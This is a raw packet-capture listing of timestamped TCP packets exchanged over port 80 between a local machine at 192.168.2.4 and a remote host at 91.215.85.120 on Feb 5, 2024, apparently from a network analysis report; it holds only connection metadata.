Feb 5, 2024 10:57:26.773643970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773654938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773663998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773674011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773684025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773693085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773703098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773713112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773726940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773726940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773732901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773751020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773751020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773772955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773773909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773792028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773808956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773812056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773825884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773837090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773844004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773859024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773863077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773875952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773880959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773906946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773916960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773916960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773924112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773943901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773946047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773946047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773960114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773968935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773979902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773996115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773996115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773998022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774013996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774017096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774034023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774039030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774050951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774059057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774070024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774077892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774095058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774106026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774106026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774113894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774126053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774132013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774148941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774149895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774164915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774177074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774185896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774194956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774210930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774228096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774243116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774260998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774266005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774266005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774266958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774266958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774276972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774296045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774303913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774303913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774313927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774318933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774328947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774333000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774350882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774358988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774369001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774372101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774388075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774389982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774405956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774413109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774424076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774424076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774441957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774441957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774461031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774463892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774477959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774478912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774497986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774499893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774514914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774523973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774534941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774537086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774552107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774557114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774570942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774574041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774588108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774588108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774607897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774609089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774626970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774629116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774643898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774647951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774662018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774662018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774682045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774682045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774699926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774702072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774717093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774720907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774734020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774735928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774750948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774754047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774770021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774774075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774784088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774787903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774806023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774813890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774821997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774830103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774840117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774848938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774858952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774864912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774876118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774877071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774893999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774900913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774912119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774913073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774925947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774930954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774947882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774950981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774965048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774971962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.774983883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.774986029 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775002956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775003910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775021076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775023937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775038958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775041103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775057077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775059938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775074959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775075912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775094032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775103092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775111914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775114059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775129080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775135994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775147915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775156975 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775165081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775166035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775182962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775185108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775199890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775208950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775219917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775226116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775237083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775239944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775254965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775257111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775274038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775276899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775290012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775291920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775307894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775310040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775329113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775330067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775346041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775347948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775365114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775367022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775382996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775393963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775401115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775403023 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775420904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775422096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775439024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775439978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775454998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775458097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775471926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775475025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775491953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775494099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775509119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775511026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775528908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775532007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775547028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775547981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775564909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775573969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775583982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775588036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775602102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775604963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775619030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775624037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775635004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775638103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775656939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775659084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775674105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775681973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775691986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775700092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775710106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775712967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775727987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775729895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775746107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775746107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775763988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775768042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775780916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775782108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775799990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775803089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775815964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775816917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775839090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775842905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775856972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775859118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775873899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775875092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775891066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775895119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775913000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775913000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775930882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775933981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775943995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775948048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775964975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775974035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.775984049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.775994062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776001930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776002884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776015997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776020050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776036978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776036978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776057005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776057959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776074886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776077032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776092052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776092052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776109934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776110888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776129961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776129961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776148081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776150942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776160955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776165962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776184082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776185989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776207924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776211023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776216984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776230097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776246071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776247978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776262999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776273966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776283026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776283979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776302099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776307106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776315928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776319981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776336908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776338100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776355028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776357889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776371956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776374102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776391029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776392937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776405096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776407957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776427031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776427031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776441097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776443958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776462078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776468039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776478052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776479006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776494026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776496887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776514053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776515007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776532888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776535988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776556015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776557922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776571035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776572943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776591063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776591063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776608944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776609898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776623964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776628017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776644945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776645899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776663065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776664019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776678085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776681900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776699066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776700020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776715994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776721001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776731014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776735067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776752949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776753902 CET	49735	80	192.168.2.4	91.215.85.120
